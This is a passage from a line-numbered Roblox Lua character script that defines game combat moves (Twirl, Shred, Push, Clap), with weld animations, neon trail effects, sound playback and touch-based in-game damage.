  3805. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3806. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3807. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3808. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3809. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3810. end
  3811. if anim then
  3812. anim.Disabled=true
  3813. end
  3814. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3815. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3816. for i=0,1,0.05 do
  3817. swait()
  3818. Torso.Velocity=RootPart.CFrame.lookVector*100
  3819. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3820. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3821. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3822. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3823. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3824. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3825. end
  3826. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3827. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3828. for i=0,1,0.05 do
  3829. swait()
  3830. Torso.Velocity=RootPart.CFrame.lookVector*100
  3831. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3832. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3833. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3834. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3835. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3836. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3837. end
  3838. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3839. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3840. for i=0,1,0.05 do
  3841. swait()
  3842. Torso.Velocity=RootPart.CFrame.lookVector*100
  3843. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3844. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3845. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3846. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3847. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3848. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3849. end
  3850. --dmgstop()
  3851. Humanoid.WalkSpeed=12
  3852. attack=false
  3853. con1:disconnect()
  3854. con2:disconnect()
  3855. if anim then
  3856. anim.Disabled=false
  3857. end
  3858. if TrailDeb == true then
  3859. TrailDeb = false
  3860. end
  3861. end
  3862.  
  3863. function Twirl()
  3864. mana=mana-50
  3865. attack=true
  3866. if TrailDeb == false then
  3867. TrailDeb = true
  3868. end
  3869.  
  3870.  
  3871. coroutine.wrap(function()
  3872. local Old = Handle2.CFrame.p
  3873. while wait()do
  3874. if not TrailDeb then break end
  3875. local New = Handle2.CFrame.p
  3876. local Mag =(Old -New).magnitude
  3877. local Dis =(Old +New)/2
  3878. local Trail = Instance.new("Part",Character)
  3879. Trail.Material = "Neon"
  3880. Trail.Anchored = true
  3881. Trail.CanCollide = false
  3882. Trail.BrickColor = TorsoColor
  3883. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3884. Trail.TopSurface = 0
  3885. Trail.BottomSurface = 0
  3886. Trail.formFactor = "Custom"
  3887. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3888. local ms = Instance.new("BlockMesh",Trail)
  3889. ms.Scale = Vector3.new(1,1,1)
  3890. local TM = Instance.new("CylinderMesh",Trail)
  3891. TM.Scale = Vector3.new(1,1,1)
  3892. Old = New
  3893. coroutine.wrap(function()
  3894. for i = 1,0,-0.1 do
  3895. wait()
  3896. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3897. end
  3898. Trail:remove()
  3899. end)()
  3900. coroutine.wrap(function()
  3901. for i = 1,10 do
  3902. wait()
  3903. Trail.Transparency = Trail.Transparency +0.1
  3904. end end)()end end)()
  3905. coroutine.wrap(function()
  3906. local Old = Handle.CFrame.p
  3907. while wait()do
  3908. if not TrailDeb then break end
  3909. local New = Handle.CFrame.p
  3910. local Mag =(Old -New).magnitude
  3911. local Dis =(Old +New)/2
  3912. local Trail = Instance.new("Part",Character)
  3913. Trail.Material = "Neon"
  3914. Trail.Anchored = true
  3915. Trail.CanCollide = false
  3916. Trail.BrickColor = TorsoColor
  3917. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3918. Trail.TopSurface = 0
  3919. Trail.BottomSurface = 0
  3920. Trail.formFactor = "Custom"
  3921. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3922. local ms = Instance.new("BlockMesh",Trail)
  3923. ms.Scale = Vector3.new(1,1,1)
  3924. local TM = Instance.new("CylinderMesh",Trail)
  3925. TM.Scale = Vector3.new(1,1,1)
  3926. Old = New
  3927. coroutine.wrap(function()
  3928. for i = 1,0,-0.1 do
  3929. wait()
  3930. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3931. end
  3932. Trail:remove()
  3933. end)()
  3934. coroutine.wrap(function()
  3935. for i = 1,10 do
  3936. wait()
  3937. Trail.Transparency = Trail.Transparency +0.1
  3938. end end)()end end)()
  3939. Footsteps:Stop()
  3940. Footsteps2:Stop()
  3941. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3942. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3943. so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  3944. for i=0,1,0.1 do
  3945. swait()
  3946. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3947. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3948. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3949. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3950. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3951. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3952. end
  3953. if anim then
  3954. anim.Disabled=true
  3955. end
  3956. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3957. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3958. for i=0,1,0.05 do
  3959. swait()
  3960. Torso.Velocity=RootPart.CFrame.lookVector*80
  3961. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3962. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3963. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3964. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3965. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3966. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3967. end
  3968. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3969. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3970. for i=0,1,0.05 do
  3971. swait()
  3972. Torso.Velocity=RootPart.CFrame.lookVector*80
  3973. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3974. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3975. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3976. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3977. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3978. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3979. end
  3980. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3981. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3982. for i=0,1,0.05 do
  3983. swait()
  3984. Torso.Velocity=RootPart.CFrame.lookVector*80
  3985. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3986. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3987. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3988. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3989. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3990. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3991. end
  3992. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3993. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3994. for i=0,1,0.05 do
  3995. swait()
  3996. Torso.Velocity=RootPart.CFrame.lookVector*80
  3997. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3998. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3999. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4000. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4001. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4002. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4003. end
  4004. --dmgstop()
  4005. Humanoid.WalkSpeed=12
  4006. attack=false
  4007. con1:disconnect()
  4008. con2:disconnect()
  4009. if anim then
  4010. anim.Disabled=false
  4011. end
  4012. if TrailDeb == true then
  4013. TrailDeb = false
  4014. end
  4015. end
  4016.  
  4017. function Shred()
  4018. attack=true
  4019. mana=mana-100
  4020. if TrailDeb == false then
  4021. TrailDeb = true
  4022. end
  4023.  
  4024.  
  4025. coroutine.wrap(function()
  4026. local Old = Handle2.CFrame.p
  4027. while wait()do
  4028. if not TrailDeb then break end
  4029. local New = Handle2.CFrame.p
  4030. local Mag =(Old -New).magnitude
  4031. local Dis =(Old +New)/2
  4032. local Trail = Instance.new("Part",Character)
  4033. Trail.Material = "Neon"
  4034. Trail.Anchored = true
  4035. Trail.CanCollide = false
  4036. Trail.BrickColor = TorsoColor
  4037. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4038. Trail.TopSurface = 0
  4039. Trail.BottomSurface = 0
  4040. Trail.formFactor = "Custom"
  4041. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4042. local ms = Instance.new("BlockMesh",Trail)
  4043. ms.Scale = Vector3.new(1,1,1)
  4044. local TM = Instance.new("CylinderMesh",Trail)
  4045. TM.Scale = Vector3.new(1,1,1)
  4046. Old = New
  4047. coroutine.wrap(function()
  4048. for i = 1,0,-0.1 do
  4049. wait()
  4050. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4051. end
  4052. Trail:remove()
  4053. end)()
  4054. coroutine.wrap(function()
  4055. for i = 1,10 do
  4056. wait()
  4057. Trail.Transparency = Trail.Transparency +0.1
  4058. end end)()end end)()
  4059. coroutine.wrap(function()
  4060. local Old = Handle.CFrame.p
  4061. while wait()do
  4062. if not TrailDeb then break end
  4063. local New = Handle.CFrame.p
  4064. local Mag =(Old -New).magnitude
  4065. local Dis =(Old +New)/2
  4066. local Trail = Instance.new("Part",Character)
  4067. Trail.Material = "Neon"
  4068. Trail.Anchored = true
  4069. Trail.CanCollide = false
  4070. Trail.BrickColor = TorsoColor
  4071. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4072. Trail.TopSurface = 0
  4073. Trail.BottomSurface = 0
  4074. Trail.formFactor = "Custom"
  4075. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4076. local ms = Instance.new("BlockMesh",Trail)
  4077. ms.Scale = Vector3.new(1,1,1)
  4078. local TM = Instance.new("CylinderMesh",Trail)
  4079. TM.Scale = Vector3.new(1,1,1)
  4080. Old = New
  4081. coroutine.wrap(function()
  4082. for i = 1,0,-0.1 do
  4083. wait()
  4084. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4085. end
  4086. Trail:remove()
  4087. end)()
  4088. coroutine.wrap(function()
  4089. for i = 1,10 do
  4090. wait()
  4091. Trail.Transparency = Trail.Transparency +0.1
  4092. end end)()end end)()
  4093. Footsteps:Stop()
  4094. Footsteps2:Stop()
  4095. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4096. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4097. so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  4098. for i=0,1,0.1 do
  4099. swait()
  4100. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4101. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4102. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4103. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4104. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4105. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4106. end
  4107. if anim then
  4108. anim.Disabled=true
  4109. end
  4110. for i=0,1,0.05 do
  4111. swait()
  4112. Torso.Velocity=RootPart.CFrame.lookVector*20
  4113. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4114. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4115. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  4116. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4117. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4118. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4119. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4120. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4121. end
  4122. for i=0,1,0.05 do
  4123. swait()
  4124. Torso.Velocity=RootPart.CFrame.lookVector*40
  4125. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4126. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4127. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  4128. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4129. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4130. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4131. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4132. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4133. end
  4134. for i=0,1,0.05 do
  4135. swait()
  4136. Torso.Velocity=RootPart.CFrame.lookVector*60
  4137. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4138. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4139. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  4140. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4141. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4142. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4143. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4144. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4145. end
  4146. so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  4147. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4148. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4149. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4150. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4151. for i=0,1,0.05 do
  4152. swait()
  4153. Torso.Velocity=RootPart.CFrame.lookVector*80
  4154. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  4155. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4156. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4157. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4158. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4159. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4160. end
  4161. for i=0,1,0.005 do
  4162. swait()
  4163. Torso.Velocity=RootPart.CFrame.lookVector*100
  4164. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  4165. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4166. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4167. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4168. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4169. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4170. end
  4171. --dmgstop()
  4172. Humanoid.WalkSpeed=12
  4173. attack=false
  4174. con1:disconnect()
  4175. con2:disconnect()
  4176. if anim then
  4177. anim.Disabled=false
  4178. end
  4179. if TrailDeb == true then
  4180. TrailDeb = false
  4181. end
  4182. end
  4183.  
  4184. function Push()
  4185. attack=true
  4186. mana=mana-20
  4187. if TrailDeb == false then
  4188. TrailDeb = true
  4189. end
  4190.  
  4191.  
  4192. coroutine.wrap(function()
  4193. local Old = Handle2.CFrame.p
  4194. while wait()do
  4195. if not TrailDeb then break end
  4196. local New = Handle2.CFrame.p
  4197. local Mag =(Old -New).magnitude
  4198. local Dis =(Old +New)/2
  4199. local Trail = Instance.new("Part",Character)
  4200. Trail.Material = "Neon"
  4201. Trail.Anchored = true
  4202. Trail.CanCollide = false
  4203. Trail.BrickColor = TorsoColor
  4204. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4205. Trail.TopSurface = 0
  4206. Trail.BottomSurface = 0
  4207. Trail.formFactor = "Custom"
  4208. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4209. local ms = Instance.new("BlockMesh",Trail)
  4210. ms.Scale = Vector3.new(1,1,1)
  4211. local TM = Instance.new("CylinderMesh",Trail)
  4212. TM.Scale = Vector3.new(1,1,1)
  4213. Old = New
  4214. coroutine.wrap(function()
  4215. for i = 1,0,-0.1 do
  4216. wait()
  4217. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4218. end
  4219. Trail:remove()
  4220. end)()
  4221. coroutine.wrap(function()
  4222. for i = 1,10 do
  4223. wait()
  4224. Trail.Transparency = Trail.Transparency +0.1
  4225. end end)()end end)()
  4226. coroutine.wrap(function()
  4227. local Old = Handle.CFrame.p
  4228. while wait()do
  4229. if not TrailDeb then break end
  4230. local New = Handle.CFrame.p
  4231. local Mag =(Old -New).magnitude
  4232. local Dis =(Old +New)/2
  4233. local Trail = Instance.new("Part",Character)
  4234. Trail.Material = "Neon"
  4235. Trail.Anchored = true
  4236. Trail.CanCollide = false
  4237. Trail.BrickColor = TorsoColor
  4238. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4239. Trail.TopSurface = 0
  4240. Trail.BottomSurface = 0
  4241. Trail.formFactor = "Custom"
  4242. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4243. local ms = Instance.new("BlockMesh",Trail)
  4244. ms.Scale = Vector3.new(1,1,1)
  4245. local TM = Instance.new("CylinderMesh",Trail)
  4246. TM.Scale = Vector3.new(1,1,1)
  4247. Old = New
  4248. coroutine.wrap(function()
  4249. for i = 1,0,-0.1 do
  4250. wait()
  4251. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4252. end
  4253. Trail:remove()
  4254. end)()
  4255. coroutine.wrap(function()
  4256. for i = 1,10 do
  4257. wait()
  4258. Trail.Transparency = Trail.Transparency +0.1
  4259. end end)()end end)()
  4260. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4261. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4262. for i=0,1,0.1 do
  4263. swait()
  4264. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4265. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4266. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4267. Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4268. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4269. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4270. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4271. end
  4272. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4273. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4274. so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  4275. for i=0,1,0.1 do
  4276. swait()
  4277. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4278. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4279. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4280. Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4281. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4282. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4283. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4284. end
  4285. --dmgstop()
  4286. attack=false
  4287. con1:disconnect()
  4288. con2:disconnect()
  4289. if TrailDeb == true then
  4290. TrailDeb = false
  4291. end
  4292. end
  4293.  
  4294. function Clap()
  4295. attack=true
  4296. mana=mana-20
  4297. if TrailDeb == false then
  4298. TrailDeb = true
  4299. end
  4300.  
  4301.  
  4302. coroutine.wrap(function()
  4303. local Old = Handle2.CFrame.p
  4304. while wait()do
  4305. if not TrailDeb then break end
  4306. local New = Handle2.CFrame.p
  4307. local Mag =(Old -New).magnitude
  4308. local Dis =(Old +New)/2
  4309. local Trail = Instance.new("Part",Character)
  4310. Trail.Material = "Neon"
  4311. Trail.Anchored = true
  4312. Trail.CanCollide = false
  4313. Trail.BrickColor = TorsoColor
  4314. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4315. Trail.TopSurface = 0
  4316. Trail.BottomSurface = 0
  4317. Trail.formFactor = "Custom"
  4318. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4319. local ms = Instance.new("BlockMesh",Trail)
  4320. ms.Scale = Vector3.new(1,1,1)
  4321. local TM = Instance.new("CylinderMesh",Trail)
  4322. TM.Scale = Vector3.new(1,1,1)
  4323. Old = New
  4324. coroutine.wrap(function()
  4325. for i = 1,0,-0.1 do
  4326. wait()
  4327. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4328. end
  4329. Trail:remove()
  4330. end)()
  4331. coroutine.wrap(function()
  4332. for i = 1,10 do
  4333. wait()
  4334. Trail.Transparency = Trail.Transparency +0.1
  4335. end end)()end end)()
  4336. coroutine.wrap(function()
  4337. local Old = Handle.CFrame.p
  4338. while wait()do
  4339. if not TrailDeb then break end
  4340. local New = Handle.CFrame.p
  4341. local Mag =(Old -New).magnitude
  4342. local Dis =(Old +New)/2
  4343. local Trail = Instance.new("Part",Character)
  4344. Trail.Material = "Neon"
  4345. Trail.Anchored = true
  4346. Trail.CanCollide = false
  4347. Trail.BrickColor = TorsoColor
  4348. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4349. Trail.TopSurface = 0
  4350. Trail.BottomSurface = 0
  4351. Trail.formFactor = "Custom"
  4352. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4353. local ms = Instance.new("BlockMesh",Trail)
  4354. ms.Scale = Vector3.new(1,1,1)
  4355. local TM = Instance.new("CylinderMesh",Trail)
  4356. TM.Scale = Vector3.new(1,1,1)
  4357. Old = New
  4358. coroutine.wrap(function()
  4359. for i = 1,0,-0.1 do
